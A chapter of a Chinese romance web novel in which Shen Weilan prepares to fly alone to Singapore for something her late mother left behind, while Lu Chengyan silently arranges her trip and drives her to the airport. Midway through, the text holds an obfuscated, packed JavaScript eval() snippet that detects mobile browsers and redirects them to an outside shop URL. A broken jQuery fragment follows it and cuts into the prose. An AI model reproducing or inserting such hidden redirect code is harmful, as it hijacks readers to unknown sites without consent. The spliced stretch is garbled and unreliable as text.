日子从栗子糕那晚之后,又过去几天。
半山的雪开始化了。花园里那排薰衣草枯枝底下冒出一点几乎看不见的新绿,风从没关严的窗缝里钻进来,已经不扎人了。
沈微澜醒得比闹钟早,躺着没动,听了一会儿。
窗外有很轻的鸟鸣,像鸟儿在试嗓子。
她翻身下床。洗漱,换衣服,下楼。
走到餐厅门口,她没朝里看,但她知道他已经在里面了,坐在老位置上。
这个“知道”来得太顺,顺得她的脚步在门口顿了半秒。
她走进去。陆承衍果然坐在老位置。他照例喝粥,配一碟酱菜,今天面前没有平板和文件。
听见她进来,他抬了眼。
两个人的视线在半空里碰了一下。两人都没躲。两秒后,陆承衍先垂下眼,端起粥碗,喝了一口。那口粥咽下去,他嘴角压着一个很淡的弧度,淡得像怕她看出来,又到底没压住。
沈微澜坐下,端起自己的黑咖啡,没理他。
“昨晚几点睡的。”他忽然问。
她喝咖啡的动作停了半拍:“怎么。”
“你书房的灯,凌晨一点四十分才灭。”陆承衍说,夹了一筷子酱菜,“眼睛底下有青。睡了不到六小时。”
沈微澜把咖啡杯放下,杯底磕在杯托上,一声轻响。
“你数这个干什么。”
“没数。”他说,“经过走廊,看见灯还亮着。”
一个能把“凌晨一点四十分”记得清清楚楚的人,说自己是“经过走廊看见的”。
沈微澜没拆穿。她低头喝咖啡,杯沿挡住她扬起来的轻微弧度。
这几天,家里浮着一种很轻的东西。说话不必填满,一个眼神就够。
可正是这种“够”,让她隐隐不踏实。她这辈子最怕的,就是这种“太够”的东西。
然而她端起杯子的手,稳得连她自己都意外。
……
周敏的电话是黄昏打来的。
沈微澜坐在书房,盯着屏幕上的尽调报告。手机震起来,她看了一眼来电显示,接起。
“微微。”周敏的声音还是那个腔调,温厚的,尾音微微上扬,可今天那上扬里绷着一根很细的弦,“我不跟你绕弯子了。”
沈微澜没说话,等她讲。
“你大哥的人这次开始硬查了。”周敏继续说,“前天天黑,我从银行出来,刚把保险柜里的东西取出来就发现后面有人跟着。我拐了三条街才甩掉。”
沈微澜的手指在鼠标上停住。
“他们知道你保险柜里是什么?”她问。
“不知道。”周敏说,“可他们心虚。你妈妈是沈鸿远最怕的人,我是你妈妈最信得过的人。沈明哲猜,你妈妈临走前,一定把什么要紧的东西交给了我。”
沈微澜握着手机,没说话。
“他宁可错抓也不放过。”周敏的声音低下去,“所以他才更要抢在你去之前,把盒子拿到、毁掉。”
“他们以为里面是要命的东西。”沈微澜说。
“对。”周敏说,“他们不知道那里面……”她顿住了,没有往下说。
沈微澜也没问。
“是妈妈留给我的?这些年为什么不早点给我。”她换了个问题。
“你妈妈交代过。”周敏说,“这东西只能你当面来拿。你不来就说明你还没准备好,那我宁可让它烂在保险柜里。”
“现在为什么等不了了。”
“寄不出去。”周敏说,“我的人、东西,都被人盯着,往哪里寄他们都查得到。而且东西在我手里保不住了。沈明哲已经摸到我门口。只能你来当面接走。”
“微微,”周敏在电话那头停了一下,再开口时,上扬的尾音落了下去,“你妈妈从前跟我说过一句话。她说,如果有一天你来找我,就说明你准备好了。”
沈微澜闭了一下眼睛。再睁开,声音平稳:“我过去。三天。”
“你一个人?”周敏的声音一下子紧了,“不行。你大哥的人就在新加坡,你一来,他们顺着机场就能查到你。你一个人过来,出点事怎么办。”
“他们盯的是你。”沈微澜说,“东西在你手里,你被盯着,随时可能出事。我过去把东西接走,你才安全。”
“可你一个人……”
“我带一队人过去,那才叫告诉沈明哲,东西有动静。”沈微澜说,“我一个人最快。速去速回,他们还没摸到我的行踪,我已经回上城了。”
电话那头,周敏沉默了很久。
“那你路上,千万小心。”周敏说,声音里满是担忧,“到了机场,务必换个车,别让人跟上。”
“知道。”沈微澜说,“我订好航班告诉你。”
挂了电话,她坐在椅子里,半晌没动。窗外的天已经全黑了。
“我一个人”这四个字,她刚才说得太满、太顺。顺到挂了电话,她才觉出哪里不对。
她忽然想到上次陆承衍攥住她的手。
沈微澜意识到,她又忘记计算自身的风险了。
书房安静下来。只有电脑屏幕的光映着她的脸。她坐着,脑子里把行程过了一遍:航班、证件、入境、周敏的住处、东西怎么带回来,还有最重要的,她第一次认真计算的:她自身的安全如何保障。
每一项都过完了,确保没有问题。然后她的手指停在键盘上,打出一行字,又把对话框关掉。
上一回去临市,她发过一条消息:【我明天去临市,签个协议。当天回。】那已经破了她“做事从不跟人商量”的例。这一次,去接她母亲十三年前的真相,去对一个叫沈明哲的男人周旋,比签一个协议重得多。
她盯着屏幕,忽然意识到,她刚才是想给他发消息。
这个念头让她把手机屏幕朝下,扣在了桌上。
……
晚饭桌上,她还是说了。
管家上菜,清蒸鲈鱼,几道菜,两份汤,两个人都动了几筷子。
沈微澜夹了一筷子青菜,忽然开口:“我后天去新加坡。三天。”
陆承衍夹菜的手停了一下。
他抬起眼,看着她,看了一会儿,什么都没问。
饭桌上静下来,只有筷子碰到瓷碗的、很轻的响。
“几点航班。”他问。
沈微澜报了时间。
“好。”他应了一声,继续吃饭。
汤端上来,很烫。沈微澜舀起一勺吹了吹。热气扑上来,糊了她的视线。
她其实想问一句,你要不要一起。
话到嘴边,和着那口汤一起咽了下去。
她不敢问。
十三年前的那个下午,她也是这样,满腹的话和一件没来得及送出去的生日礼物。她一路都在想,进门先说什么。
结果发生了那样的事。
从那以后她就懂了:人一旦开口“想”,就等于把一样东西交出去。而交出去的东西是会落空的。
陆承衍也没说“我陪你去”。他放下筷子,擦了下嘴角,起身去了书房。
他的背影消失在门口的时候,沈微澜盯着那扇关上的餐厅门,看了一会儿,低头把饭吃完。
她以为这件事就这么定了。她一个人去,一个人回,像过去十三年里她做的每一件事一样。
……
半小时后,管家敲了书房的门。
“夫人。”管家端着一个牛皮纸袋进来,“先生让送来的。”
沈微澜接过来。纸袋不重,口是敞的。她一样一样往外拿。
第一样是一张门卡。新式的电子门卡,贴着一张便利贴,写着:【新加坡·乌节路。到了给司机发消息,他在机场,五分钟到,接你去那里下榻。】
第二样是一张A4纸,打印得整整齐齐,列着三个名字、联系方式、每个人的分工。司机全天候待命、一个本地安保、一个随时待命的律师。
第三样是一张新加坡本地的电话卡。
再看,纸袋里没其它东西了。没有纸条写着“我陪你去”或者“注意安全”。
他只是从她落地到离开,把路一寸一寸地铺平了。
送走管家,沈微澜把东西摊在桌上,她看着它们,半天没动。
从她在饭桌上开口,到管家把纸袋送到她手里,前后半个小时。
半个小时里,他安排了住处、人,连她在异国需要新手机卡这种事,都替她想完了。
他没查她的航班。她没报航班号,他就没问。
可他一个字都没邀功,也没趁机说“我跟你去”。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887684|212611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沈微澜把东西一样一样收回纸袋,动作很慢。喉咙里像堵了点什么。
手机震了一下。她拿起来。
陆承衍:【落地告诉我。】
沈微澜盯着屏幕。屏幕的光打在她脸上。久到屏幕自动灭了,她也没有移开眼睛。
她先打了“好”,后来又打“知道了”,全都删了。
最后她一个字都没回,只是手指在屏幕上停了许久。
……
第二天晚上收拾行李。
沈微澜蹲在衣帽间的地板上,把叠好的衣服一件件放进行李箱。她收拾东西一向利落,这次却慢。
快收完的时候,她拉上拉链,起身,把箱子立起来准备拎下楼。
一开门,门口的地上靠着一个布袋子。
它就那么安静地靠在门边,像谁怕打扰她,只把它放在了这儿。
她弯腰拎起来。里面三样东西:一只暖手宝,还没拆封。一副耳塞。一盒布洛芬,和她平时吃的一个牌子。
沈微澜站在门口,握着那只暖手宝,愣了一瞬。
新加坡不冷。那里终年三十度,用不上暖手宝。耳塞在飞机上能用。布洛芬,她疼的时候会吃。
是他吩咐的吗?确实像他的思路。他想到的是“她万一需要”。
和那罐放在咖啡机旁、永远不消失的绿色无因咖啡,以及那件搭在她腿上的外套一样。他把东西放好,她不碰,他就让它等着。
布袋子的口上夹着一张便利贴,这张便利贴撕得不齐,上面只有一行他的字:【用不上也可以。只是备着。】
沈微澜盯着这行字,忽然很轻地笑了一声。笑着笑着,眼眶有点热。
她飞快地眨了两下眼,把三样东西塞回布袋子,塞进行李箱侧袋。拉链“唰”地拉上。
起身的时候,她动作快得像在躲什么。
……
出发那天天是灰的。
沈微澜拖着行李箱下楼。玄关处,陆承衍已经在了。他穿一件深色大衣,手里没拿东西,就那么站着,像已经等了一会儿。
“顺路。”他说,语气温和。
沈微澜看着他:“你去哪顺路。”
“机场。”
沈微澜没跟他争。她把行李箱把手递过去。他自然接过。两个人的手在把手上碰了一下,又分开。
谁都没看谁。
车是他开的。车厢里很安静。沈微澜侧头看窗外,灰白色的天压在城市上头,路边的梧桐还没长叶子,光秃秃的枝桠从窗外往后倒。
她看了会儿,忽然开口:“U盘里是什么。”
他在出发前塞给她一只U盘,说“新加坡能用上的人”。
“名单。”陆承衍说,“你要用就联系。不用,就让它躺在抽屉里。”
又是这样。沈微澜没接话,把U盘在手里转了一下。
机场到了。他停好车,送她到安检口。人来人往,广播里在念登机口,行李箱的轮子在地上滚出连成一片的声响。
“我走了。”沈微澜说。
“嗯。”他说。
沈微澜转身,往安检口走。走了几步,她停下,回头。
他还站在原地。目光追着她,没有走。
她张了张嘴,最后只说:“我三天就回来。”
“知道。”他说。
沈微澜又看了他一眼,转身,把登机牌和证件递给安检员。这一次她没有再回头。
过完安检,往里走了一段,她拿出手机打了几个字:【到了告诉你。】
发出去。
从前,她独来独往,没有人需要她报平安,她也不需要向任何人交代。这一刻她主动说了。
发完,她把手机放回口袋,心跳快了一点,像做了什么亏心事。
手机很快震了。
陆承衍:【好。】
隔了几秒,又收到一条新消息。
陆承衍:【外套放管家给你的手提袋里了。登机用不上,落地也热,但飞机上冷气足。】
沈微澜看着这行字,在登机口前停住了。
一个管到她飞机上会不会冷的男人。
她把手机按灭,抬起头。落地窗外的停机坪上,她的那架飞机正缓缓滑向跑道。天还是灰的,云层上面,也许已经能看见光了。